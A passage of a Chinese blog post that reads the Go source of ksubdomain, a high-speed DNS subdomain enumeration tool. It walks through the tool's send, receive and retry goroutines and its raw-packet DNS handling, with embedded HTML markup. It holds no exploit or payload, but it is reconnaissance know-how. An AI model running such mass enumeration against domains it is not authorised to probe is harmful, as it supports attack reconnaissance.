gologger.Fatalf(\u0026#34;读取domain文件失败:%s,请检查--level-dict参数\\n\u0026#34;, err.Error()) } levelDomains = dl } else if c.Int(\u0026#34;level\u0026#34;) \u0026gt; 2 { levelDomains = core.GetDefaultSubNextData() } opt := \u0026amp;options.Options{ Rate: options.Band2Rate(c.String(\u0026#34;band\u0026#34;)), Domain: domains, FileName: c.String(\u0026#34;filename\u0026#34;), Resolvers: options.GetResolvers(c.String(\u0026#34;resolvers\u0026#34;)), Output: c.String(\u0026#34;output\u0026#34;), Silent: c.Bool(\u0026#34;silent\u0026#34;), Stdin: c.Bool(\u0026#34;stdin\u0026#34;), SkipWildCard: c.Bool(\u0026#34;skip-wild\u0026#34;), TimeOut: c.Int(\u0026#34;timeout\u0026#34;), Retry: c.Int(\u0026#34;retry\u0026#34;), Method: \u0026#34;enum\u0026#34;, OnlyDomain: c.Bool(\u0026#34;only-domain\u0026#34;), NotPrint: c.Bool(\u0026#34;not-print\u0026#34;), Level: c.Int(\u0026#34;level\u0026#34;), LevelDomains: levelDomains, } opt.Check() r, err := runner.New(opt) if err != nil { gologger.Fatalf(\u0026#34;%s\\n\u0026#34;, err.Error()) return nil } r.RunEnumeration() r.Close() return nil }, 具体的实现细节就不关注了，可以看到入口点只是读取了一些配置，继续进入 RunEnumeration 看看\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 func (r *runner) RunEnumeration() { ctx, cancel := context.WithCancel(r.ctx) defer cancel() go r.recvChanel(ctx) // 启动接收线程 for i := 0; i \u0026lt; 3; i++ { go r.sendCycle(ctx) // 发送线程 } go r.handleResult(ctx) // 处理结果，打印输出 var isLoadOver bool = false // 是否加载文件完毕 t := time.NewTicker(1 * time.Second) defer t.Stop() for { select { case \u0026lt;-t.C: r.PrintStatus() if isLoadOver { if r.hm.Length() == 0 { gologger.Printf(\u0026#34;\\n\u0026#34;) gologger.Infof(\u0026#34;扫描完毕\u0026#34;) return } } case \u0026lt;-r.fisrtloadChanel: go r.retry(ctx) // 遍历hm，依次重试 isLoadOver = true } } } 首先是启动了一个接收dns resp数据包的协程，然后启动了三个发送dns req数据包的协程，还有一个线程 handleResult 用来输出结果\n剩下的我们先不关注，可以思考一下，启动一个发送协程，一个接收协程，一个用来打印结果，单纯这三个协程我们肯定是没法控制整个程序的停止的，因为接收协程肯定是需要一个死循环去读取。\n所以我们看看下来的控制，isLoadOver 比较关键，可以看到它由 fisrtloadChanel 来控制，我们找找它是在哪里被赋值的\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 type runner struct { ether *device.EtherTable //本地网卡信息 hm *statusdb.StatusDb options *options2.Options limit ratelimit.Limiter handle *pcap.Handle successIndex uint64 sendIndex uint64 recvIndex uint64 faildIndex uint64 sender chan string recver chan core.RecvResult freeport int dnsid uint16 // dnsid 用于接收的确定ID maxRetry int // 最大重试次数 timeout int64 // 超时xx秒后重试 ctx context.Context fisrtloadChanel chan string // 数据加载完毕的chanel startTime time.Time domains []string } func New(options *options2.Options) (*runner, error) { var err error version := pcap.Version() r := new(runner) gologger.Infof(version + \u0026#34;\\n\u0026#34;) r.options = options r.ether = GetDeviceConfig() r.hm = statusdb.CreateMemoryDB() gologger.Infof(\u0026#34;DNS:%s\\n\u0026#34;, options.Resolvers) r.handle, err = device.PcapInit(r.ether.Device) if err != nil { return nil, err } // 根据发包总数和timeout时间来分配每秒速度 allPacket := r.loadTargets() if options.Level \u0026gt; 2 { allPacket = allPacket * int(math.Pow(float64(len(options.LevelDomains)), float64(options.Level-2))) } calcLimit := float64(allPacket/options.TimeOut) * 0.85 if calcLimit \u0026lt; 1000 { calcLimit = 1000 } limit := int(math.Min(calcLimit, float64(options.Rate))) r.limit = ratelimit.New(limit) // per second gologger.Infof(\u0026#34;Rate:%dpps\\n\u0026#34;, limit) r.sender = make(chan string, 99) // 多个协程发送 r.recver = make(chan core.RecvResult, 99) // 多个协程接收 freePort, err := freeport.GetFreePort() if err != nil { return nil, err } r.freeport = freePort gologger.Infof(\u0026#34;FreePort:%d\\n\u0026#34;, freePort) r.dnsid = 0x2021 // set dnsid 65500 r.maxRetry = r.options.Retry r.timeout = int64(r.options.TimeOut) r.ctx = context.Background() r.fisrtloadChanel = make(chan string) r.startTime = time.Now() go func() { for _, msg := range r.domains { r.sender \u0026lt;- msg if options.Method == \u0026#34;enum\u0026#34; \u0026amp;\u0026amp; options.Level \u0026gt; 2 { r.iterDomains(options.Level, msg) } } r.domains = nil r.fisrtloadChanel \u0026lt;- \u0026#34;ok\u0026#34; }() return r, nil } 我们可以看到它是用来在数据全部发往 sender 后的一个标识位，可以看到 New 函数是用来初始化限速器，timeout等等。\n然后我们继续回到之前的代码看看\n1 2 3 case \u0026lt;-r.fisrtloadChanel: go r.retry(ctx) // 遍历hm，依次重试 isLoadOver = true 可以看到当数据全部发往 sender 后，将会调用retry\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 func (r *runner) retry(ctx context.Context) { for { // 循环检测超时的队列 now := time.Now() r.hm.Scan(func(key string, v statusdb.Item) error { if r.maxRetry \u0026gt; 0 \u0026amp;\u0026amp; v.Retry \u0026gt; r.maxRetry { r.hm.Del(key) atomic.AddUint64(\u0026amp;r.faildIndex, 1) return nil } if int64(now.Sub(v.Time)) \u0026gt;= r.timeout { // 重新发送 r.sender \u0026lt;- key } return nil }) length := 1000 time.Sleep(time.Millisecond * time.Duration(length)) } } 可以看到具体逻辑是：判断是否达到最大重试次数，如果没有就重新入队去进行dns请求，如果达到最大次数则从缓存中删除它。\n然后继续往下看，可以看到 isLoadOver = true ，然后可以看\n1 2 3 4 5 6 7 if isLoadOver { if r.hm.Length() == 0 { gologger.Printf(\u0026#34;\\n\u0026#34;) gologger.Infof(\u0026#34;扫描完毕\u0026#34;) return } } 可以看到当 isLoadOver == true \u0026amp;\u0026amp; r.hm.Length() == 0 时，会停止扫描退出。也就是所有的子域名枚举完成或达到最大重试次数，则退出。\n看完了控制逻辑，我们可以看看具体的发送包和接收包的函数了\n首先看看发送\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 func (r *runner) sendCycle(ctx context.Context) { for domain := range r.sender { r.limit.Take() v, ok := r.hm.Get(domain) if !ok { v = statusdb.Item{ Domain: domain, Dns: r.choseDns(), Time: time.Now(), Retry: 0, DomainLevel: 0, } r.hm.Add(domain, v) } else { v.Retry += 1 v.Time = time.Now() v.Dns = r.choseDns() r.hm.Set(domain, v) } send(domain, v.Dns, r.ether, r.dnsid, uint16(r.freeport), r.handle) atomic.AddUint64(\u0026amp;r.sendIndex, 1) } } 可以看到首先是发送速率的控制，然后从缓存中获取生成的子域名，如果没有代表第一次跑，初始化一个Item丢给send去发包，如果已经存在则重试次数加一，然后重新选择dns服务器，然后丢给send发包。\n具体的发包函数我们就不看了，ksubdomain 是采用的 gopacket 直接构造dns包然后使用网卡发包，目的为了提速\n然后看看接收函数\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 func (r *runner) recvChanel(ctx context.Context) error { ... parser := gopacket.NewDecodingLayerParser( layers.LayerTypeEthernet, \u0026amp;eth, \u0026amp;ipv4, \u0026amp;ipv6, \u0026amp;udp, \u0026amp;dns) var data []byte var decoded []gopacket.LayerType for { data, _, err = handle.ReadPacketData() if err != nil { continue } err = parser.DecodeLayers(data, \u0026amp;decoded) if err != nil { continue } if !dns.QR { continue } if dns.ID != r.dnsid { continue } atomic.AddUint64(\u0026amp;r.recvIndex, 1) if len(dns.Questions) == 0 { continue } subdomain := string(dns.Questions[0].Name) r.hm.Del(subdomain) if dns.ANCount \u0026gt; 0 { atomic.AddUint64(\u0026amp;r.successIndex, 1) result := core.RecvResult{ Subdomain: subdomain, Answers: dns.Answers, } r.recver \u0026lt;- result } } } 我摘取了一部分，可以看到具体逻辑就是不断从网卡中获取然后解析dns返回包，然后从缓存中删除该子域名并放入 recver chan，这个chan主要是用来读取并输出的。\n整体逻辑大体上就是这样。\n总结 整体加速思路其实和amass有点像\namass是使用了一些额外的技巧来达到同步调用，使用单个udp连接来完成，一个协程用来写，一个用来读，而ksubdomain直接调用网卡驱动绕过了操作系统，可以突破操作系统的发包限制，会更快一些，amass对于udp到tcp的dns请求做了一些适配\n","permalink":"https://www.hacktech.cn/post/2022/02/ksubdomain-source-read/","summary":"\u003cp\u003e前两天看了amass关于dns枚举的实现，当然关于加速dns枚举的还有ksubdomain这个项目，今天花了几分钟看了下实现\u003c/p\u003e\n\u003cp\u003e阅读基于 \u003ca href=\"https://github.com/boy-hack/ksubdomain/commit/9a2f2967eb8fb5c155b22393b9241f4cd6a02dc4\"\u003ehttps://github.com/boy-hack/ksubdomain/commit/9a2f2967eb8fb5c155b22393b9241f4cd6a02dc4\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"分析\"\u003e分析\u003c/h2\u003e\n\u003cp\u003e首先从入口点开始看 \u003ca href=\"https://github.com/boy-hack/ksubdomain/blob/main/cmd/ksubdomain/enum.go#L55-L109\"\u003ehttps://github.com/boy-hack/ksubdomain/blob/main/cmd/ksubdomain/enum.go#L55-L109\u003c/a\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 1\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 2\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 3\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 4\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 5\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 6\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 7\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 8\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 9\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e10\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e11\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e12\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e13\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e14\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e15\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e16\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e17\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e18\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e19\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e20\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e21\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e22\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e23\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e24\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e25\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e26\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e27\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e28\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e29\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e30\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e31\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e32\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e33\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e34\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e35\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e36\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e37\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e38\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e39\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e40\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e41\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e42\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e43\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e44\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e45\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e46\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e47\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e48\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e49\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e50\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e51\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e52\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e53\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e54\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e55\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e56\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-go\" data-lang=\"go\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003eAction\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003efunc\u003c/span\u003e(\u003cspan style=\"color:#a6e22e\"\u003ec\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#a6e22e\"\u003ecli\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eContext\u003c/span\u003e) \u003cspan style=\"color:#66d9ef\"\u003eerror\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003ec\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eNumFlags\u003c/span\u003e() \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\t\u003cspan style=\"color:#a6e22e\"\u003ecli\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eShowCommandHelpAndExit\u003c/span\u003e(\u003cspan style=\"color:#a6e22e\"\u003ec\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;enum\u0026#34;\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\u003cspan style=\"color:#66d9ef\"\u003evar\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003edomains\u003c/span\u003e []\u003cspan style=\"color:#66d9ef\"\u003estring\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\u003cspan style=\"color:#75715e\"\u003e// handle domain\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003ec\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eString\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;domain\u0026#34;\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e!=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\t\u003cspan style=\"color:#a6e22e\"\u003edomains\u003c/span\u003e = append(\u003cspan style=\"color:#a6e22e\"\u003edomains\u003c/span\u003e, \u003cspan style=\"color:#a6e22e\"\u003ec\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eString\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;domain\u0026#34;\u003c/span\u003e))\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003ec\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eString\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;domainList\u0026#34;\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e!=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\t\u003cspan style=\"color:#a6e22e\"\u003edl\u003c/span\u003e, \u003cspan style=\"color:#a6e22e\"\u003eerr\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e:=\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003ecore\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eLinesInFile\u003c/span\u003e(\u003cspan style=\"color:#a6e22e\"\u003ec\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eString\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;domainList\u0026#34;\u003c/span\u003e))\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\t\u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eerr\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e!=\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003enil\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\t\t\u003cspan style=\"color:#a6e22e\"\u003egologger\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eFatalf\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;读取domain文件失败:%s\\n\u0026#34;\u003c/span\u003e, \u003cspan style=\"color:#a6e22e\"\u003eerr\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eError\u003c/span\u003e())\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\t}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\t\u003cspan style=\"color:#a6e22e\"\u003edomains\u003c/span\u003e = append(\u003cspan style=\"color:#a6e22e\"\u003edl\u003c/span\u003e, \u003cspan style=\"color:#a6e22e\"\u003edomains\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e...\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\u003cspan style=\"color:#a6e22e\"\u003elevelDict\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e:=\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003ec\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eString\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;level-dict\u0026#34;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\u003cspan style=\"color:#66d9ef\"\u003evar\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003elevelDomains\u003c/span\u003e []\u003cspan style=\"color:#66d9ef\"\u003estring\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003elevelDict\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e!=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\t\u003cspan style=\"color:#a6e22e\"\u003edl\u003c/span\u003e, \u003cspan style=\"color:#a6e22e\"\u003eerr\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e:=\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003ecore\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eLinesInFile\u003c/span\u003e(\u003cspan style=\"color:#a6e22e\"\u003elevelDict\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\t\u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eerr\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e!=\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003enil\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\t\t\u003cspan style=\"color:#a6e22e\"\u003egologger\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eFatalf\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;读取domain文件失败:%s,请检查--level-dict参数\\n\u0026#34;\u003c/span\u003e, \u003cspan style=\"color:#a6e22e\"\u003eerr\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eError\u003c/span\u003e())\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\t}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\t\u003cspan 